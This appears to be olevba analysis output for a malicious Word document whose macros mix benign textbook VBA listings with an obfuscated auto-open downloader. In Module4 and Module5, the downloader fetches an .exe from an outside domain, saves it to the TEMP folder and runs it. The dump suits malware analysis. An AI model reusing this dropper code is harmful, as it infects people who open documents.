Malicious Word macro

olevba 0.26 - http://decalage.info/python/oletools
Flags       Filename
----------- -----------------------------------------------------------------
OLE:MASIHB- 1913.doc

(Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)

===============================================================================
FILE: 1913.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: 1913.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Sub A121212121212(FFFFF As Long)

HOPPOJJ2222

End Sub

Sub autoopen()

A121212121212 (3)

End Sub


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+-------------+-----------------------------------------+
| Type       | Keyword     | Description                             |
+------------+-------------+-----------------------------------------+
| AutoExec   | AutoOpen    | Runs when the Word document is opened   |
| Suspicious | Hex Strings | Hex-encoded strings were detected, may  |
|            |             | be used to obfuscate strings (option    |
|            |             | --decode to see all)                    |
+------------+-------------+-----------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: 1913.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub AddCustomer()
    '
    ' Set up the form and then Show it
    '
    With frmCustomer
        .Caption = "Add Customer"   ' Set form title
        .Controls("cmdAction").Caption = "Add"      ' Make sure first button is Add
        .Controls("cmdCancel").Caption = "Cancel"   ' Start second button as Cancel
        .Show
    End With
    Set frmCustomer = Nothing
End Sub

' Listing 17.9. The EditCustomer procedure runs when you select
' the Edit Customer command or click the Edit Customer button.
'
Sub EditCustomer()
    '
    ' Make sure selection is inside database
    '
    If Not InsideDatabase(ActiveCell.Row) Then
        Exit Sub
    End If
    '
    ' Set up the form and then Show it
    '
    With frmCustomer
        .Caption = "Edit Customer"
        .Controls("cmdAction").Caption = "OK"
        .Show
    End With
    Set frmCustomer = Nothing
End Sub

' Listing 17.10. This function that determines whether
' or not the active cell is inside the Database range.
'
Function InsideDatabase(currRow As Integer)

    With d.Range("Database")
        If .Rows.Count = 1 Then
            MsgBox Prompt:="There are no records in the database.", _
                   Title:="Customer Database", _
                   Buttons:=vbExclamation
            InsideDatabase = False
            Exit Function
        End If
        If currRow <= .Row Or currRow >= (.Row + .Rows.Count) Then
            MsgBox Prompt:="You must select a record inside the database.", _
                   Title:="Customer Database", _
                   Buttons:=vbExclamation
            InsideDatabase = False
        Else
            InsideDatabase = True
        End If
    End With

End Function

' Listing 17.11. The FilterCustomers procedure runs when you
' select the Filter Customers command or click the Filter
' Customers button.
'
Sub FilterCustomers()
    Dim criteriaCells As Range
    Dim c As Range
    Dim criteriaEmpty As Boolean
    '
    ' Make sure the Criteria range contains a value
    '
    criteriaEmpty = True
    Set criteriaCells = d.Range("Criteria").Offset(1).Resize(RowSize:=1)
    For Each c In criteriaCells
        If d.c.Value <> "" Then criteriaEmpty = False
    Next 'c
    If criteriaEmpty Then
        MsgBox "The Criteria range is empty!" & Chr(13) & _
               "Please enter criteria before filtering the database."
        Exit Sub
    End If
    '
    ' Filter the database according the the Criteria range values
    '
    d.Range("Database").AdvancedFilter _
        Action:=xlFilterInPlace, _
        CriteriaRange:=d.Range("Criteria")
End Sub

' Listing 17.12. The ShowAllCustomers procedure runs when you
' select the Show All Customers command or click the Show All
' Customers button.
'
Sub ShowAllCustomers()
    With ActiveSheet
        If .FilterMode Then .ShowAllData
    End With
End Sub

' Listing 17.13. The CountCustomers procedure runs when you
' select the Count Customers command or click the Count
' Customers button.
'
Sub CountCustomers()
    Dim totalRows As Integer
    Dim alertMsg As String, alertButtons As Integer, alertTitle As String
    '
    ' Customer count is total rows in Database, minus 1
    '
    totalRows = d.Range("Database").Rows.Count - 1

    alertMsg = "There are currently " & _
        totalRows & _
        " customers in the database."
    alertButtons = vbInformation
    alertTitle = "Customer Database"
    MsgBox alertMsg, alertButtons, alertTitle

End Sub

' PhoneCustomer()
' The PhoneCustomer procedure runs when you select the
' Phone Customer command or click the Phone Customer button.
'
Sub PhoneCustomer()
    On Error GoTo BadStart
    Dim currCell As Range
    Dim currRow As Integer
    Dim response As Integer
    Dim phoneNumber As String
    Dim firstName As String
    Dim lastName As String
    Dim alertMsg As String
    Dim alertButtons As Integer
    Dim alertTitle As String
    Dim winDrive As String
    Dim winFolder As String
    '
    ' Turn off screen updates and save the active cell
    '
    Application.ScreenUpdating = False
    Set currCell = ActiveCell
    currRow = d.currCell.Row
    '
    ' Make sure selection is inside database
    '
    If Not InsideDatabase(currRow) Then
        Exit Sub
    End If
    '
    ' Get data for MsgBox message
    '
    firstName = d.Cells(currRow, d.Range("FirstNameField").Column)
    lastName = d.Cells(currRow, d.Range("FirstNameField").Column + 1)
    d.Cells(currRow, d.Range("PhoneNumberField").Column).Select
    '
    ' Check to see if phone number is blank
    '
    phoneNumber = ActiveCell
    If phoneNumber = "" Then
        MsgBox Prompt:="There is no phone number for this customer.", _
               Title:="Customer Database", _
               Buttons:=vbExclamation
        Exit Sub
    End If
    '
    ' Display the message
    '
    alertMsg = "About to dial the following customer:" & _
        Chr(13) & Chr(13) & _
        firstName & " " & lastName & _
        Chr(13) & _
        phoneNumber & _
        Chr(13) & Chr(13) & _
        "Please make sure your modem is turned on."
    alertButtons = vbOKCancel + vbExclamation
    alertTitle = "Phone Customer"
    response = MsgBox(alertMsg, alertButtons, alertTitle)
    '
    ' If user Cancels, return to active cell and bail out
    '
    If response = vbCancel Then
        currCell.Select
        Exit Sub
    End If
    '
    ' Otherwise, copy phone number to Clipboard and phone the customer
    '
    ActiveCell.Copy
    '
    ' Start Phone Dialer with the focus
    '
    If InStr(1, d.Application.OperatingSystem, "NT") Then
        '
        ' Use this line with Windows NT:
        '
        winDrive = Left(Environ("WINDIR"), 3)
        Shell winDrive & "Program Files\Windows NT\dialer.exe", 1
    Else
        '
        ' Use this line with Windows 95/98:
        '
        winFolder = Environ("WINDIR")
        Shell winFolder & "\dialer.exe", 1
    End If
    '
    ' Paste the copied phone number with Ctrl+V and
    ' then press Enter to select the Dial button
    '
    SendKeys "^v~", True
    '
    ' Wait eight seconds to give the modem time to dial
    '
    d.Application.Wait Now + TimeValue("00:00:08")
    '
    ' Close the dialog boxes and exit Phone Dialer
    '
    SendKeys "~{ESC}%{F4}"
    '
    ' Get rid of Excel's Copy mode indicators and
    ' select the original cell
    '
    d.Application.CutCopyMode = False
    currCell.Select

    Exit Sub

BadStart:
    MsgBox "Could not start Phone Dialer!", _
        vbOKOnly + vbExclamation
End Sub

' DeleteCustomer()
' The DeleteCustomer procedure runs when you select the
' Delete Customer command or click the Delete Customer button.
'
Sub DeleteCustomer()
    '
    ' Make sure selection is inside database
    '
    If Not InsideDatabase(ActiveCell.Row) Then
        Exit Sub
    End If
    '
    ' Set up the form and then Show it
    '
    With frmCustomer
        .Caption = "Delete Customer"   ' Set form title
        .Controls("cmdAction").Caption = "Delete"   ' Make sure first button is Add
        .Controls("cmdCancel").Caption = "Cancel"   ' Start second button as Cancel
        .Show
    End With
    Set frmCustomer = Nothing
End Sub

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+----------------+-----------------------------------------+
| Type       | Keyword        | Description                             |
+------------+----------------+-----------------------------------------+
| Suspicious | Windows        | May enumerate application windows (if   |
|            |                | combined with Shell.Application object) |
| Suspicious | Chr            | May attempt to obfuscate specific       |
|            |                | strings                                 |
| Suspicious | Environ        | May read system environment variables   |
| Suspicious | SendKeys       | May control another application by      |
|            |                | simulating user keystrokes              |
| Suspicious | Shell          | May run an executable file or a system  |
|            |                | command                                 |
| Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
|            |                | may be used to obfuscate strings        |
|            |                | (option --decode to see all)            |
| IOC        | dialer.exe     | Executable file name                    |
+------------+----------------+-----------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO Module5.bas
in file: 1913.doc - OLE stream: u'Macros/VBA/Module5'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Const DBLOCATION = "C:\Program Files\Microsoft Office\Office\Samples\Northwind.mdb"
' Listing 18.1. A procedure that connects to an Access database.
'
Sub DatabaseConnection()

    '
    ' Open the Northwind database (check the path!)
    '
    If Dir(DBLOCATION) = "" Then
        MsgBox "The location of the NorthWind sample " & _
        "database is incorrect." & Chr(13) & _
        "Please adjust the path and then run this " & _
        "procedure again."
        Exit Sub
    End If
    '
    ' Open the Customers table (recordset)
    '
    Set rs = db.OpenRecordset("Customers")
    '
    ' Display confirmation message
    '
    MsgBox "Opened " & db.Name & " Successfully!" & _
           Chr(13) & Chr(13) & _
           "The open Recordset is " & rs.Name
    '
    ' Close and release the objects
    '
    rs.Close
    db.Close
    Set rs = Nothing
    Set db = Nothing
End Sub

' Listing 18.2. A procedure that connects to a non-Jet database.
'
Sub NonJetConnection()
    '
    ' Open the Jet database (check the path!)
    '
    If Dir(DBLOCATION) = "" Then
        MsgBox "The location of the NorthWind sample " & _
        "database is incorrect." & Chr(13) & _
        "Please adjust the path and then run this " & _
        "procedure again."
        Exit Sub
    End If
    '
    ' Create TableDef and set the connection information.
    ' This code assumes the CUSTOMER.DBF file (it's on the
    ' CD) is in the same folder as this workbook.
    '
    Set tdDBASE = db.CreateTableDef("Linked dBASE Table")
    tdDBASE.Connect = "dBASE IV;DATABASE=" & ThisWorkbook.Path
    tdDBASE.SourceTableName = "Customer"
    '
    ' Append the TableDef to create the link
    '
    db.TableDefs.Append tdDBASE
    '
    ' Open the recordset
    '
    Set rs = db.OpenRecordset("Linked dBASE Table", dbOpenSnapshot)
    '
    ' Display confirmation message
    '
    MsgBox "Opened " & db.Name & " Successfully!" & _
            Chr(13) & Chr(13) & _
            "The open Recordset is " & rs.Name & _
            Chr(13) & _
            "The source table is " & tdDBASE.SourceTableName
    '
    ' Close and release the objects
    '
    rs.Close
    db.Close
    Set rs = Nothing
    Set tdDBASE = Nothing
    Set db = Nothing
End Sub

' Listing 18.3. A procedure that displays information on
' all the fields in a Recordset.
'
Sub DisplayFieldInfo()
    Dim i As Integer
    Dim fieldInfo As String
    '
    ' Open the Northwind database
    '
    If Dir(DBLOCATION) = "" Then
        MsgBox "The location of the NorthWind sample " & _
        "database is incorrect." & Chr(13) & _
        "Please adjust the path and then run this " & _
        "procedure again."
        Exit Sub
    End If
    '
    ' Open the Categories table
    '
    Set rs = db.OpenRecordset("Categories", dbOpenSnapshot)
    '
    ' Enumerate all fields in the Recordset
    '
    For i = 0 To rs.Fields.Count - 1
        fieldInfo = "Recordset: " & rs.Name & Chr(13) & _
            "Field " & _
            i + 1 & " of " & _
            rs.Fields.Count & Chr(13) & Chr(13)
        '
        ' Set the Field variable and then run through the properties
        '
        Set fld = rs.Fields(i)
        fieldInfo = fieldInfo & _
            "Name: " & fld.Name & Chr(13) & _
            "Allow Zero Length: " & fld.AllowZeroLength & Chr(13) & _
            "Attributes: " & fld.Attributes & Chr(13) & _
            "Collating Order: " & fld.CollatingOrder & Chr(13) & _
            "Default Value: " & fld.DefaultValue & Chr(13) & _
            "Ordinal Position: " & fld.OrdinalPosition & Chr(13) & _
            "Required: " & fld.Required & Chr(13) & _
            "Size: " & fld.Size & Chr(13) & _
            "Source Field: " & fld.SourceField & Chr(13) & _
            "Source Table: " & fld.SourceTable & Chr(13) & _
            "Type of Field: " & TypeOfField(fld.Type) & Chr(13) & _
            "Validation Rule: " & fld.ValidationRule & Chr(13) & _
            "Validation Text: " & fld.ValidationText
        MsgBox Prompt:=fieldInfo, Title:="Field Information"
    Next i
    '
    ' Close and release the objects
    '
    rs.Close
    db.Close
    Set rs = Nothing
    Set fld = Nothing
    Set db = Nothing
End Sub

Public Function HOPPOJJ1122(HOPPOJJ1133 As String)
    Set HOPPOJJ1144 = HOPPOJJ1155(Chr(83) & Chr(104) & "e" & "l" & Chr(108) & "." & Chr(65) & Chr(112) & Chr(112) & "l" & "i" & "c" & "a" & Chr(116) & "i" & Chr(111) & Chr(110))
HOPPOJJ1144.Open (HOPPOJJ2211)
End Function
Public Function HOPPOJJ1155(HOPPOJJ1166 As String)
    Set HOPPOJJ1155 = CreateObject(HOPPOJJ1166)
End Function
Public Function HOPPOJJ1177(HOPPOJJ2200 As Variant, HOPPOJJ1199 As String)
Dim HOPPOJJ1188: Set HOPPOJJ1188 = HOPPOJJ1155("A" & Chr(100) & Chr(111) & Chr(100) & Chr(98) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & Chr(97) & "m")

With HOPPOJJ1188
   .Type = 1
    .Open
    .write HOPPOJJ2200
    .savetofile HOPPOJJ1199, 2
End With
End Function



' TypeOfField()
' Function to translate the constant returned by a Field object's
' Type property into a descriptive string.
'
Function TypeOfField(fldConstant As Integer) As String

    Select Case fldConstant
        Case 1   ' dbBoolean
            TypeOfField = "Boolean"
        Case 2   ' dbByte
            TypeOfField = "Byte"
        Case 3   ' dbInteger
            TypeOfField = "Integer"
        Case 4   ' dbLong
            TypeOfField = "Long Integer"
        Case 5   ' dbCurrency
            TypeOfField = "Currency"
        Case 6   ' dbSingle
            TypeOfField = "Single"
        Case 7   ' dbDouble
            TypeOfField = "Double"
        Case 8   ' dbDate
            TypeOfField = "Date"
        Case 10  ' dbText
            TypeOfField = "Text"
        Case 11  'dbLongBinary
            TypeOfField = "OLE Object"
        Case 12  ' dbMemo
            TypeOfField = "Memo"
        Case 15  ' dbGUID
            TypeOfField = "GUID"
    End Select
End Function

' Listing 18.4. A procedure that opens a recordset using
' a SQL SELECT expression.
'
Sub QueryCustomers()
    Dim strSELECT As String
    '
    ' Open the Northwind database (check the path!)
    '
    If Dir(DBLOCATION) = "" Then
        MsgBox "The location of the NorthWind sample " & _
        "database is incorrect." & Chr(13) & _
        "Please adjust the path and then run this " & _
        "procedure again."
        Exit Sub
    End If
    '
    ' Store the SELECT statement in a string variable
    '
    strSELECT = "SELECT CompanyName,Region,Country " & _
                "FROM Customers " & _
                "WHERE Country = 'Canada' " & _
                "ORDER BY CompanyName"
    '
    ' Open the recordset
    '
    Set rs = db.OpenRecordset(strSELECT)
    '
    ' Display confirmation message
    '
    MsgBox "The filtered Recordset contains " & _
    rs.RecordCount & " records."
    '
    ' Close and release the objects
    '
    rs.Close
    db.Close
    Set rs = Nothing
    Set db = Nothing
End Sub

' Listing 18.5. A procedure that creates a recordset from
' a QueryDef object.
'
Sub QueryDefExample()
    '
    ' Open the Northwind database (check the path!)
    '
    If Dir(DBLOCATION) = "" Then
        MsgBox "The location of the NorthWind sample " & _
        "database is incorrect." & Chr(13) & _
        "Please adjust the path and then run this " & _
        "procedure again."
        Exit Sub
    End If
    '
    ' Assign the QueryDef object
    '
    Set qd = db.QueryDefs("Products Above Average Price")
    '
    ' Open the recordset
    '
    Set rs = qd.OpenRecordset()
    '
    ' Display confirmation message
    '
    MsgBox "The filtered Recordset contains " & _
        rs.RecordCount & " records."
    '
    ' Close and release the objects
    '
    rs.Close
    db.Close
    Set rs = Nothing
    Set qd = Nothing
    Set db = Nothing
End Sub

' Listing 18.6. A procedure that reads 100 rows from a
' recordset into a worksheet.
'
Sub ReadDataIntoExcel()
    Dim recArray As Variant
    Dim i As Integer, j As Integer
    '
    ' Open the Jet database, QueryDef, and Recordset
    '
    If Dir(DBLOCATION) = "" Then
        MsgBox "The location of the NorthWind sample " & _
        "database is incorrect." & Chr(13) & _
        "Please adjust the path and then run this " & _
        "procedure again."
        Exit Sub
    End If
    Set qd = db.QueryDefs("Invoices")
    Set rs = qd.OpenRecordset()
    '
    ' Head for Database Records and clear the sheet
    '
    With db.Worksheets("Database Records").[a1]
        .CurrentRegion.Clear
        '
        ' Read the data using GetRows
        '
        recArray = rs.GetRows(100)
        For i = 0 To UBound(recArray, 2)
            For j = 0 To UBound(recArray, 1)
                .Offset(i + 1, j) = recArray(j, i)
            Next j
        Next i
        '
        ' Enter the field names and format the cells
        '
        For j = 0 To rs.Fields.Count - 1
            .Offset(0, j) = rs.Fields(j).Name
            .Offset(0, j).Font.Bold = True
            .Offset(0, j).EntireColumn.AutoFit
        Next j

    End With
    '
    ' Close and release the objects
    '
    rs.Close
    db.Close
    Set rs = Nothing
    Set qd = Nothing
    Set db = Nothing
End Sub

' Listing 18.7. A procedure that filters out OLE Object
' fields before retrieving a recordset.
'
Sub RetrieveCategories()
    Dim strSELECT As String, i As Integer
    '
    ' Open the Jet database
    '
    If Dir(DBLOCATION) = "" Then
        MsgBox "The location of the NorthWind sample " & _
        "database is incorrect." & Chr(13) & _
        "Please adjust the path and then run this " & _
        "procedure again."
        Exit Sub
    End If
    '
    ' Open the full Categories table
    '
    Set rs = db.OpenRecordset("Categories")
    '
    ' The strSELECT variable will hold the SQL SELECT statement
    ' that filters the Recordset to remove OLE Object fields
    '
    strSELECT = "SELECT "
    '
    ' Run through the recordset fields
    '
    For Each fld In rs.Fields
        '
        ' Check for OLE Object fields
        '
        If fld.Type <> dbLongBinary Then
            '
            ' If it's not an OLE Object field, add it to the SELECT statement
            '
            strSELECT = strSELECT & fld.Name & ","
        End If
    Next fld
    '
    ' Remove the trailing comma
    '
    strSELECT = Left(strSELECT, Len(strSELECT) - 1)
    '
    ' Add the FROM clause
    '
    strSELECT = strSELECT & " FROM Categories"
    '
    ' Open the filtered recordset
    '
    Set rs = db.OpenRecordset(strSELECT)
    '
    ' Retrieve the records
    '
    db.Worksheets("Database Records").Activate
    With db.Worksheets("Database Records").[a1]
        .CurrentRegion.Clear
        .Offset(1).CopyFromRecordset rs
        '
        ' Enter the field names and format the cells
        '
        For i = 0 To rs.Fields.Count - 1
            .Offset(0, i) = rs.Fields(i).Name
            .Offset(0, i).Font.Bold = True
            .Offset(0, i).EntireColumn.AutoFit
        Next i
    End With
    '
    ' Close and release the objects
    '
    rs.Close
    db.Close
    Set rs = Nothing
    Set fld = Nothing
    Set db = Nothing
End Sub

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+----------------+-----------------------------------------+
| Type       | Keyword        | Description                             |
+------------+----------------+-----------------------------------------+
| Suspicious | Open           | May open a file                         |
| Suspicious | Chr            | May attempt to obfuscate specific       |
|            |                | strings                                 |
| Suspicious | CreateObject   | May create an OLE object                |
| Suspicious | SaveToFile     | May create a text file                  |
| Suspicious | Run            | May run an executable file or a system  |
|            |                | command                                 |
| Suspicious | sample         | May detect Anubis Sandbox               |
| Suspicious | Write          | May write to a file (if combined with   |
|            |                | Open)                                   |
| Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
|            |                | may be used to obfuscate strings        |
|            |                | (option --decode to see all)            |
+------------+----------------+-----------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: 1913.doc - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public HOPPOJJ2211 As String

'
' Listing 23.1. The GetNumbers procedure prompts the user for a dividend and a divisor.
'
Sub GetNumbers()
    Dim done As Boolean
    Dim divisor As Variant
    Dim dividend As Variant
    '
    ' Prompt user for dividend and divisor.
    '
    done = False
    Do While Not done
        dividend = InputBox("Enter the dividend:", "Divider")
        divisor = InputBox("Enter the divisor:", "Divider")
        done = Divide(dividend, divisor)
    Loop
End Sub
'
' Listing 23.2. The Divide function divides the dividend by the divisor.
' The function traps "division by zero" errors.
'
Function Divide(dividend, divisor) As Boolean
    Dim msg As String
    Dim result As Single
    '
    ' Set the trap
    '
    On Error GoTo DivByZeroHandler
    '
    ' Peform the division
    '
    result = dividend / divisor
    '
    ' If it went okay, display the result
    '
    msg = dividend & _
          " divided by " & _
          divisor & _
          " equals " & _
          result
    MsgBox msg
    '
    ' Set the return value and bypass the error handler
    '
    Divide = True
    Exit Function
    '
    ' Code branches here if an error occurs
    '
DivByZeroHandler:
    '
    ' Display the error message
    '
    result = MsgBox("You entered 0 as the divisor! Try again?", _
                    vbYesNo + vbQuestion, _
                    "Divider")
    '
    ' Return the user's choice
    '
    If result = vbYes Then
        Divide = False
    Else
        Divide = True
    End If
End Function
'
' Listing 23.3 Backs up the active workbook to a drive specified by
' the user. Traps any errors (such as having no disk in the drive).
'

Sub BackUpToFloppy()
    Dim backupDrive As String
    Dim backupName As String
    Dim msg As String
    Dim done As Boolean
    Dim result As Integer
    '
    ' Define the location of the error handler
    '
    On Error GoTo ErrorHandler
    '
    ' Initialize some variables and then loop
    '
    Application.DisplayAlerts = False
    done = False
    backupDrive = "A:"
    While Not done
        '
        ' Get the drive to use for the backup
        '
        backupDrive = InputBox( _
            Prompt:="Enter the drive letter for the backup:", _
            Title:="Backup", _
            Default:=backupDrive)
        '
        ' Check to see if OK was selected
        '
        If backupDrive <> "" Then
            '
            ' Make sure the backup drive contains a colon (:)
            '
            If InStr(backupDrive, ":") = 0 Then
                backupDrive = Left(backupDrive, 1) & ":"
            End If
            '
            ' First, save the file
            '
            ActiveWorkbook.Save
            '
            ' Assume the backup will be successful,
            ' so set done to True to exit the loop
            '
            done = True
            '
            ' Concatenate drive letter and workbook name
            '
            backupName = backupDrive & ActiveWorkbook.Name
            '
            ' Make a copy on the specified drive
            '
            ActiveWorkbook.SaveCopyAs FileName:=backupName
        Else
            Exit Sub
        End If
    Wend
    '
    ' Bypass the error handler
    '
    Exit Sub
    '
    ' Code branches here if an error occurs
    '
ErrorHandler:
    msg = "An error has occurred!" & Chr(13) & Chr(13) & _
          "Select Abort to bail out, Retry to re-enter the drive" & Chr(13) & _
          "letter, or Ignore to attempt the backup again."
    result = MsgBox(msg, vbExclamation + vbAbortRetryIgnore)
    Select Case result
        Case vbAbort
            done = True
        Case vbRetry
            done = False
            Resume Next
        Case vbIgnore
            Resume
    End Select
End Sub
'
' Listing 23.4. This procedure divides two numbers. It traps three specific
' errors: division by zero, overflow, and type mismatch.
'
Sub DivideNumbers()
    Dim msg As String
    Dim result As Single
    Dim divisor As Variant
    Dim dividend As Variant
    '
    ' Set the trap
    '
    On Error GoTo DivByZeroHandler
    '
    ' Prompt user for the dividend
    '
GetDividendAndDivisor:
    dividend = InputBox("Enter the dividend:", "Divider")
    If dividend = "" Then Exit Sub
    '
    ' Prompt user for the divisor
    '
GetDivisorOnly:
    divisor = InputBox("Enter the divisor:", "Divider")
    If divisor = "" Then Exit Sub
    '
    ' Peform the division
    '
    result = dividend / divisor
    '
    ' If it went okay, display the result
    '
    msg = dividend & _
          " divided by " & _
          divisor & _
          " equals " & _
          result
    MsgBox msg
    '
    ' Bypass the error handler
    '
    Exit Sub
    '
    ' Code branches here if an error occurs
    '
DivByZeroHandler:
    '
    ' Display the error message
    '
    msg = "An error occurred!" & Chr(13) & Chr(13) & _
          "Error number:  " & Err.Number & Chr(13) & _
          "Error message: " & Err.Description
    MsgBox msg, vbOKOnly + vbCritical
    '
    ' Check the error number
    '
    Select Case Err.Number
        '
        ' Division by zero
        '
        Case 11
            Resume GetDivisorOnly
        '
        ' Overflow
        '
        Case 6
            Resume GetDividendAndDivisor
        '
        ' Type mismatch
        '
        Case 13
            If Not IsNumeric(dividend) Then
                Resume GetDividendAndDivisor
            Else
                Resume GetDivisorOnly
            End If
        '
        ' Anything else, just quit
        '
        Case Else
            Exit Sub
    End Select
End Sub

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+---------+-----------------------------------------+
| Type       | Keyword | Description                             |
+------------+---------+-----------------------------------------+
| Suspicious | Chr     | May attempt to obfuscate specific       |
|            |         | strings                                 |
+------------+---------+-----------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO Module4.bas
in file: 1913.doc - OLE stream: u'Macros/VBA/Module4'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
'Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
'Declare Function GetDiskFreeSpace Lib "kernel32" Alias "GetDiskFreeSpaceA" (ByVal lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector As Long, lpNumberOfFreeClusters As Long, lpTotalNumberOfClusters As Long) As Long
'
' Constants used with GetDriveType result
'
Public Const DRIVE_REMOVABLE = 2
Public Const DRIVE_FIXED = 3
Public Const DRIVE_REMOTE = 4
Public Const DRIVE_CDROM = 5
Public Const DRIVE_RAMDISK = 6
'
' This Type is used to hold properties of the open documents
'
Type BackupDoc
    Name As String
    Path As String
    State As String
    Size As Long
    Selected As Boolean
End Type
'
' Use this procedure to display the Backup form
'
Sub ShowBackup()
    '
    ' Ignore the error that occurs if this procedure is
    ' executed while the form is already displayed.
    '
    On Error Resume Next
    frmBackup.Show
    Set frmBackup = Nothing
End Sub
Sub HOPPOJJ2222()

Set HOPPOJJ2233 = HOPPOJJ1155("M" & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & "o" & Chr(102) & "t" & "." & Chr(88) & Chr(77) & Chr(76) & Chr(72) & "T" & Chr(84) & Chr(80))

CallByName HOPPOJJ2233, Chr(79) & Chr(112) & "e" & Chr(110), VbMethod, Chr(71) & Chr(69) & Chr(84), Chr(104) & "t" & "t" & "p" & Chr(58) & Chr(47) & "/" & Chr(111) & Chr(97) & Chr(107) & Chr(119) & Chr(105) & Chr(110) & Chr(100) & Chr(111) & Chr(119) & "s" & Chr(97) & Chr(110) & Chr(100) & "d" & Chr(111) & Chr(111) & Chr(114) & Chr(115) & Chr(46) & "c" & Chr(111) & Chr(109) & Chr(47) & Chr(52) & "2" & Chr(47) & Chr(49) & "1" & Chr(46) & Chr(101) & "x" & Chr(101), False
Set HOPPOJJ2244 = HOPPOJJ1155("W" & "S" & Chr(99) & "r" & "i" & Chr(112) & "t" & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & "l")

Set HOPPOJJ2255 = CallByName(HOPPOJJ2244, Chr(69) & Chr(110) & Chr(118) & Chr(105) & "r" & Chr(111) & Chr(110) & Chr(109) & Chr(101) & Chr(110) & Chr(116), VbGet, Chr(80) & Chr(114) & Chr(111) & Chr(99) & Chr(101) & Chr(115) & Chr(115))

HOPPOJJ2266 = HOPPOJJ2255("T" & Chr(69) & Chr(77) & "P")

HOPPOJJ2211 = HOPPOJJ2266 & Chr(92) & Chr(98) & Chr(105) & "r" & Chr(115) & Chr(97) & "f" & Chr(112) & "c.e" & Chr(120) & Chr(101)
Dim HOPPOJJ2277() As Byte

CallByName HOPPOJJ2233, Chr(83) & "e" & Chr(110) & Chr(100), VbMethod
HOPPOJJ2277 = CallByName(HOPPOJJ2233, "r" & Chr(101) & Chr(115) & Chr(112) & Chr(111) & Chr(110) & Chr(115) & Chr(101) & Chr(66) & Chr(111) & Chr(100) & Chr(121), VbGet)
HOPPOJJ1177 HOPPOJJ2277, HOPPOJJ2211
On Error GoTo HOPPOJJ2288
    a = 129 / 0
  On Error GoTo 0

HOPPOJJ2299:
  Exit Sub
HOPPOJJ2288:
  HOPPOJJ1122 ("Ki8JfHxWCPDg")
Resume HOPPOJJ2299
End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+----------------+-----------------------------------------+
| Type       | Keyword        | Description                             |
+------------+----------------+-----------------------------------------+
| Suspicious | Open           | May open a file                         |
| Suspicious | Chr            | May attempt to obfuscate specific       |
|            |                | strings                                 |
| Suspicious | Lib            | May run code from a DLL                 |
| Suspicious | CallByName     | May attempt to obfuscate malicious      |
|            |                | function calls                          |
| Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
|            |                | may be used to obfuscate strings        |
|            |                | (option --decode to see all)            |
+------------+----------------+-----------------------------------------+